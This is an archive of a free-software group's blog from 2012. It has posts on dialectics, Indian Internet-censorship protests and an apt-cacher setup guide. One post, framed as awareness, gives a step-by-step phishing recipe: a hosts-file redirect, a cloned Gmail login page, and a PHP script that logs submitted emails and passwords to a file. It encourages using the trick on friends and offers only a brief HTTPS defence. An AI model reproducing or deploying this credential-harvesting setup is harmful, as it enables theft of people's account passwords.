Tuesday, August 28, 2012

The idea of Dialectics

By Aruna

The idea of Dialectics, though not new is not something familiar. I was quite intrigued by the idea of a discussion on Dialectics, and the same turned out to be a discussion on several things, relevant to and far from dialectics. The initial presentation was simple, to the point and a nice introduction to the various dialectic laws that can be applied. It was quite fascinating to imagine that individual, scattered events in one person's life are repeated with surprising similarity in almost everybody's life in the world; what I absorbed was that there are a few laws which dictate how our social lives span out, how all our social lives span out. There is a certain logic and order to the world and dialectic tries to define this order using a series of almost irrefutable laws.

 In the discussion, something that I was trying to grasp was that the proof of dialectics is influenced greatly by how one approaches the situation or matter at hand. On the one hand there might be a certain statement that seems to defy dialectics but when seen from another perspective conforms willingly; while dialectic defines a series of laws, it does not define how one must approach these laws- in which situation, in what order, under what circumstances; as a newbie this confounded me the most. (I am talking about the 1+1=2 problem)

Some questions I have -
*Are there only finite areas that dialectics can help explain, or is it all encompassing?
*Further, unlike the singularity that science and logic demand, there are several ways to look at dialectics, what is the right way? Or is there no such thing as the right way? If there is no such thing as a right way, are we not fooling ourselves by reading these laws as being absolute?
*Doesn't every work of literature or the arts or even the simple act of thinking not use dialectics in some way?

I definitely want to understand dialectics better, but I would love to learn about it through examples - maybe movies that refute or support a dialectic claim, maybe a story, a song, a novel. The study of the laws, merely as themselves, would be far more interesting if discussed and debated as a group. I cannot imagine reading Engel's or Hegel's several observations all by myself, and subsequently trying to implement them. I would give up before learning, and that would be such a pity.

 While my interest in dialectics has been kindled, it has not established itself soundly enough for me to sense the presence of dialectics all around me, this is something that I am hoping will happen when we have more meetings, and I can't wait!

Monday, July 23, 2012

How to phish and not to get phished



With the increase in commercial transactions online and a whole lot of information online, the need to secure it also increases because it is still people on the Internet and the sense of security and insecurity is innate to our interactions.

Phishing (of course,read it as fishing :P) is one of the most treacherous menaces which could have really bad ramifications -  loss of money, passwords and compromise of sensitive information.

In this post, I show how the simplest phishing trick is performed (thanks to Vignesh T Prabhu for showing me this trick), so that avoiding it can also be made effective. This trick is an offline version, and it takes simple extra gyaan to put it online.

Based on my experience with the audience I have been dealing with, I will touch upon some fundamentals like DNS, Apache Webserver, GNU/Linux directory structure and some bit of coding.

DNS Server:

Domain Name System servers are lookup tables used to map URLs to IP addresses ( a more elaborate post about it here).
For our trick here, we will need only to know that the fist level of name resolution in a GNU/Linux machine happens in the file /etc/hosts.
All GNU/Linux machines have first level DNS resolution here and standard entries might look like this :


Because in Phsihing we purport to be a webpage we are not, I usually add use the localhost as the webserver.
For instance, you could try ping google.com and it might yield a reply from a specific IP address as shown below


Here the name resolution is happening for google.com to 74.125.236.206
I our case I will try to make the localhost as google.com, for example.
Then add this entry in the /etc/hosts file

sudo nano /etc/hosts (to edit the file)
and append
google.com     127.0.0.1
save it.
where 127.0.0.1 is one of the loopback ethernet interfaces.

Now try pinging google.com, and the reply looks like this




Apache Webserver

The awesomeness of running a GNU/Linux box is in the fact that you have a "server" with you - an almost full fledged server. For our hack here, we need to be running a webserver and who else but the master of all webservers Apache runs like a charm on any GNU/Linux distro.

Install Apache (in debian based OS)

sudo apt-get install apache2

Once installed, check if the server is running - open a web browser and enter localhost, and the default page must be as shown below:


Now, also try entering google.com in the browser and it should land on the same default webpage


Now, we're ready to phish.

HTML file:

Log on to the google mail login page, and copy the source code (ctrl+u to view source code) of the file into a text document.

Find the action field and replace the google authentication URL with "phishing.php" (a php script we will be using to phish)
Save the html file as something relevant, for example login.hmtl

PHP script:

Here's a simple PHP script which will capture the login name and password on the phishing page and redirect to original authentication page.

<html>
<body>
<?php
$handle=fopen("Password.txt","a");
fwrite($handle,$_POST["Email id:"]);
fwrite($handle,"\n");
fwrite($handle,$_POST["Password:"]);
fwrite($handle,"\n");
fwrite($handle,"\n");
fclose($handle);
header("Location:https://www.google.com/accounts/ServiceLoginAuth");
exit;
?>
</body>
</html>


PHP script, save it as phishing.php

Create an empty text document password.txt.

Now, copy the three files login.html, phishing.php and password.txt to the default web server location /var/www

sudo cp login.html phishing.php password.txt /var/www

The password.txt file needs to have write permissions by the phoshing.php script - a easy and lazy way to do it is

sudo chmod 777 /var/www/password.txt

Now, you can dupe any of your friends for a prank and get them login to their google mail account and check the password.txt file to know their password, without them having a doubt of what has occurred.

The solution:

HTTPS browsing is the safest means of web browsing, and a quick verification of certificates would reveal us the real identities of these webpages.

For, the original google mail page will have an SSL certificate signed and verified, where as the phishing script won't.
Use https everywhere by EFF to avoid most of the attempts :)
Phishing page without secure connection and a warning

Secure login page with SSL certification

Sunday, June 10, 2012

FSMK protests against the attack of freedom in the Internet



FSMK protests against the attack of freedom in the Internet

Internet Freedom is under sever attack from many quarters – the Ministry of Information and Technology, various state governments, the police, international lobbying and now certain major Internet Service Providers (ISP's) such as Reliance Communications, Airtel and MTNL have joined the league.

After trying to constrain the nature of opinion that could be put up on the Internet in the form of the hasty IT Intermediaries Bill which faced tremendous opposition, now major websites such as Vimeo for video sharing, and various peer-to-peer file sharing or the Torrent sites commonly used for exchange of large files between users are being blocked by these ISP's, without any instructions issued by the Government.

We have already seen the effect of the IT Rules in which a huge number of requests are now being directed to intermediaries such as Google, Facebook, etc for taking down statements critical of the Government and political figures. Cases are being instituted by the Police under the IT Act against circulating of cartoons, calling it a cyber crime. All this shows that our constitutionally guaranteed freedoms in a democratic framework are currently under attack.

Equally worrying is the tendency of courts to issue blanket orders -- called John Doe orders – in the USA to protect the Intellectual Property of certain media companies, which have been wholeheartedly endorsed by corporations like Reliance Communications – an Internet Service Provider acting in the interest of Reliance as a Media company to block a large number of Torrent sites.

Free Software Movement Karnataka is a team of Internet activists and technology enthusiasts coming from various walks of life. We understand that without openly criticising the stands and actions of the freedom curbing authorities today freedom in the Internet is at stake,which consequentially would cripple the transparent functioning of democracy.

Join us to understand details of the Internet censorship and shutting down of websites issue; how it would impact you and the nation as a whole.

Internet is the voice of people today, don't let them dumb us down!

We have it in our power to begin the world over again.
Thomas Paine

Monday, June 4, 2012

June 9th Internet Freedom protest

Attack on Internet freedom is going on in an unprecedented scale. Nothing less than a digital mutiny will be able to show the disgruntle we as users of the Internet are facing.

Censorship of expression, shutting down of content sharing websites, and autonomous blocking of websites by ISPs have all been going on, taking us users for a ride. It is high time we all stand up for our rights in the internet, else this cancer will perpetuate stagnating the dynamic system that the internet has grown into.

Various groups are associating to demonstrate their anguish by various means. Our methods might be different, our understanding varied but the objective is one - Securing freedom in the internet, for us users.

FSMI, will also be joining in the campaign called on the 9th of June in the name of OpIndia. Here is what we have to say:

There is an attack on Internet Freedom from many quarters – the Ministry of IT, various state governments and the police and now certain major
Internet Service Providers (ISP's) such as Reliance and Airtel. Major sites such as Vimeo and various Torrent sites commonly used for exchange
of large files are being blocked by these ISP's, even though no instructions have been issued by the Government.

We have already seen the effect of the IT Rules in which a huge number of requests are now being directed to intermediaries such as Google,
Facebook, etc for taking down statements critical of the Government and political figures. Cases are being instituted by the Police under the IT
Act against circulating of cartoons, calling it a cyber crime. All this shows that our democratic freedoms guaranteed under the constitution are
currently under attack. Equally worrying is the tendency of courts to issue blanket orders – called John Doe orders -- to protect the Intellectual Property of certain media companies. Reliance, a ISP is acting in the interest of Reliance as a Media company to block a large number of Torrent sites.

To protest against such actions of the Government and the ISP's, FSMI calls for protests accross the country on the 9th of June 2012. FSMI also will co-ordinate with other organisations who have called for similar protests on 9th June.

Sunday, April 22, 2012

World inside your head

The ability to create a world inside your head at whim can be painful at times, and a real pleasure at others. When you create the same world repeatedly, successively, passionately you might feel slightly schizophrenic. A sharp awareness of reality can be manna, at such times. 

Ever since I saw Anbe Sivam or to go back further, read Che's Motorcycle Diaries, I have fancied myself a communist. I've often tried to ignore the temptation to dress up, have sub consciously been shabby at times because the communist in my head wildly approves, of this idea so far from communism, and yet so dear to the imagination. My first protest on Saturday shall be memorable to me for one of two reasons, I am not sure : Either it made the emotion in my stomach soar, at the idea of being a real and physical voice for a few hours or it introduced me to new facets of whimsical dreaming. (Smiles)

When I reached the Town Hall my instinctive desire was to change, by some magical force, the location of the protest to the opposite side of the Town Hall, because I wanted to watch the sun set behind the Hall while I was feeling incredible. The statue of Kittur Rani Channamma on a horse with a machete in her hand quickened my heart, though I walked soberly. 5 minutes later, there I was holding a poster, looking sheepish, the expression compounded by my fear of cameras and my guilt at not having brought a poster of my own.

The most comforting part of a students' protest is the conviviality at the site of the protest in spite of how seriously everyone takes the issue. You feel at ease because the protesters can roughly be divided into two groups-people who're there for the first time and therefore look as sheepish for varying reasons and people who've been to a protest before and have discarded their inhibitions so conclusively that their nonchalance can cause you to chide yourself and become sensible.

I was quietly pleased by the effort that had been made by most of those who turned up; their spontaneity, their awareness of the issue, their willingness to speak on a public platform, pose for the media in cardboard jails and scream out slogans. I thoroughly approved when someone screamed, “It's fucking wrong” into the mike because I realised that in that breach we had all made the protest our own, in every way. That it was seeping slowly, into the thickest skins.

There are several faults with the revision of rules proposed by the Indian government:

The double standards- The creator of content is always the victim while the complainant need not worry about the consequences of his action.

The absurdity- Google argues against censorship by giving this example : Censoring the word 'sex' on the internet can cause erasure of all passport information!

The legal consequences seem to be oppressive and overdone as the impromptu skit, again keeping with the mood of the atmosphere conveyed in a conversation between several criminals in a jail cell. All of them ministers( Keeping with the Anti corruption movement) except one, who played a pitiful blogger.

The power that it gives a person to dictate their opinions - Someone remarked that censoring the internet was equivalent to censoring art, bringing to fore the analogy between the M.F.Hussain issue and this one.

As the hours progressed, I was feeling more strongly about the issue and appreciated the songs that several people sang; hoarsely, slightly out of pitch but never lacking in conviction. I tried to gauge the meaning of the Kannada songs, laughed with everyone as someone sang sportively in Malayalam, a language that no one there understood. I was losing my weakness of feeling self-conscious in the middle of strangers and I was enjoying it. The candles in the end added solemnity and as I walked back home, under the eagles flying so high, I promised myself that I would protest again, perhaps with more conviction. That it would mean more, much more the next time. 

(Written by a new free software enthusiast, who participated in FSMK's protest against the Internet censorship debate.
The author has sought anonymity )

Tuesday, January 3, 2012

How To Set up a repository cache with apt-cacher


By Pallavi Shastry

When running multiple machine with the same distribution, it is sensible to set up a repository cache on your network so that once a package is downloaded from an official repository, all other machines will download it from your local area network.
Having different machines running the same linux distribution, it becomes interesting to set up a repository cache in your local network. This way, you won't download common packages more than 1 time from official repositories.
Here is the situation, we have one machine called repository-cache, this machine is going to act as the repository cache, basically, any other machines in your network is going to use it as a repository.



1. Getting started : Server configuration

As usual, you need to install the required packages in the first place. So type in a terminal:

$sudo apt-get install apt-cacher apache2

To start the service of the apache web server. 
 $sudo /etc/init.d/apache2 start
 
Then test by going to http://repository-cache:3142/apt-cacher to verify that it's running. 
repository-cache in the URL above is the host name or IP of the cache server in the LAN. 

Once this is done, it is time to get into the configuration files in /etc/apt-cacher/apt-cacher.conf

$sudo gedit /etc/apt-cacher/apt-cacher.conf

The default port apt-cacher is running on is port 3142.

Allowed_hosts: by default, all host are allowed to use the repository cache. You can change this value if you want to only allow certain host.

Generate_reports: This directive makes apt-cacher create a report on how efficient your cache was on a daily basis. Default is 1, if you want to disable this, set it to 0.apt-cacher will generate report on the usage of the cache every day.

Clean cache: This directive makes apt-cacher clean the cache every 24 hours . So reset it , clean cache =0


2. Activating apt-cacher to start

In order to start, apt-cacher needs to be activated from /etc/default/apt-cacher. So open /etc/default/apt-cacher and set AUTOSTART to 1:
AUTOSTART=1
Now restart apt-cacher:
$sudo /etc/init.d/apt-cacher restart
Now that apt-cacher runs, it is time to update all our clients /etc/apt/sources.list files so every host on the network will use our repository-cache machine.


3. Importing existing package from /var/cache/apt/archives/ to apt-cacher repository

It might happen that your server already has got a whole lot of packages cached in its local repository: /var/cache/apt/archives/.  
apt-cacher offers a tool to import those files to apt-cacher repository logically without in fact replicating copies of these packages.
There are whole lot of cool and useful scripts that can be found in /usr/share/apt-cacher/
The one we are interested in here is apt-cacher-import.pl which is handy to import deb files from /var/cache/apt/archives to apt-cacher repository run:

$sudo /usr/share/apt-cacher/apt-cacher-import.pl -s /var/cache/apt/archives


5. Setting up the Clients sources.list

Now it is time to set up the client hosts apt source list files: /etc/apt/sources.list
It make sense to use the repository cache on the server too, as that way, any updates made by the server will fill up the cache.

In each line , ie every instance of the sources.list file, if for example there is an entry

deb http://archive.ubuntu.com/ubuntu/ main restricted

becomes

deb http://repository-server:3142/apt-cacher/archive.ubuntu.com/ubuntu/ main restricted

Cool, now, every host should be able to retrieve the .deb packages from our repository cache once has been ran on every host.

$ sudo apt-get update

Then test report by going to http://repository-cache:3142/reports to verify that it's running. The report is generated once a day, but if you need it at a certain time, you can force it by running:

$sudo /usr/share/apt-cacher/apt-cacher-report.pl


6. Conclusion

apt-cacher is an easy and efficient package which will save you both time and bandwidth when using multiple machines with the same distribution like it could happen in a home network or at a company.